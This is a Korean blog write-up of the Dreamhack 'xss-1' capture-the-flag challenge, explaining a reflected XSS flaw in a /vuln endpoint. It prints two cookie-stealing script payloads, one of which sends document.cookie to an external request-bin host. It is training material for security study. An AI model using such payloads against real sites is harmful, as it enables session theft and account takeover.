촉촉한초코칩

Dreamhack - xss-1 본문

Study/Web Hacking

Dreamhack - xss-1

햄친구베이컨 2022. 7. 5. 22:26

문제파일을 다운받고 URL에 들어간다.

웹 서비스는 총 4개가 있다.

 

웹서비스 분석

  • /vuln : 이용자가 전달한 param 파리미터의 값을 출력
  • /memo : 이용자가 전달한 memo 파라미터의 값을 render_template 함수를 통해 기록하고 보여준다.

  • /flag 페이지 : 메소드에 따른 요청마다(GET/POST) 다른 기능을 수행한다.
  • GET : 이용자에게 URL을 입력받는 페이지 제공
  • POSt : params 파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수 호출한다. check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속한다. 

 

취약점

  • vuln과 memo 페이지 : 이용자의 입력 값을 페이지에 출력한다.
  • memo : render_template 함수를 사용해 memo.html을 출력한다.
    render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다.
  • 그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생한다. 그러므로 /vuln에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취할 것이다.
    탈취한 쿠키를 받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있다. 

 

공격

임의 이용자의 쿠키를 탈취하기 위한 방법 2가지

1) memo 페이지 사용

  • flag 엔드포인트에서 익스플로잇 코드를 입력하면 memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있다.
<script>location.href="/memo?memo=" + document.cookie; </script>
location.href 전체 URL을 반환하거나 URL을 업데이트할 수 있는 속성 값
document.cookie
해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성 값
  • 입력 후 뜨는 경고창

  • memo 페이지에 들어가면 flag가 나와있다.

2) 웹 서버 사용

  • 외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 사용한다. 
    외부에서 접근 가능한 웹 서버가 없다면 드림핵에서 제공하는 서비스 사용 : (드림핵 툴즈 서비스) tools.dreamhack.games
  • 해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있다.
    Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장한다.
  • flag 기능에서 공격 코드를 입력하면 접속 기록에 포함된 flag를 확인할 수 있다.
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>

'Study > Web Hacking' 카테고리의 다른 글

Webhacking g00gle1  (0) 2022.07.05
Dreamhack - xss-2  (0) 2022.07.05
DreamHack Web Hacking Stage 4  (0) 2022.07.05
Dreamhack - session-basic  (0) 2022.07.01
Dreamhack - Cookie  (0) 2022.07.01